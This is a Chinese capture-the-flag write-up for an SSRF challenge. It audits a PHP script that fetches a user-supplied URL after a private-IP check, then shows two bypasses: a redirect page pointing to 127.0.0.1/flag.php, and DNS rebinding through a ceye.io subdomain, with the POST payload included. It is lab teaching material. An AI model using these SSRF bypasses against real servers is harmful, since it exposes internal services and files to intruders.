1. 代码审计
      ```php <?php errorreporting(0); highlightfile(__FILE); $url=$_POST[‘url’]; $x=parse_url($url); if($x[‘scheme’]===’http’||$x[‘scheme’]===’https’){ //gethostbyname返回域名对应的IPv4地址 $ip = gethostbyname($x[‘host’]); echo ‘
      ‘.$ip.’
      ‘; //利用php过滤器把值作为 IP 地址来验证,过滤私有ip地址和保留地址 if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die(‘ip!’); }

    echo file_get_contents($_POST[‘url’]); } else{ die(‘scheme’); } ?> scheme

    1. 2. 这里可以用web355的两种办法,绕过私有地址的检测
    2. ```shell
    3. 1.DNS-Rebinding攻击绕过
    4. 2.利用vps搭建页面,重定向进行跳转
    5. <?php
    6. header("Location:http://127.0.0.1/flag.php");
    7. ?>
    1. 这里详细讲一下DNS-Rebinding进行绕过,首先在ceye.io平台进行注册账户,然后在个人资料profile页面添加两个127.0.0.1随便写个公网地址
      image-20210621232052980.png
    2. 然后找到ceye.io个人的域名(identifier)在前面添加r

      1. #POST提交
      2. url=http://r.xxxx.ceye.io/flag.php
    3. 利用工具进行提交,当第一次提交时,域名会被解析成127.0.0.1,在过滤器会被检测到内网地址,会输出ip!,因为重绑定的原因,每过几秒就会刷新域名绑定ip信息,重新提交后,域名会被解析成1.1.1.120绕过过滤器检测,在file_get_contents又会重新解析为127.0.0.1,获取到flag.php,达到ssrf的攻击效果。
      DNS-Rebinding原理参考文档:https://www.freebuf.com/column/194861.html
      image-20210621233214139.png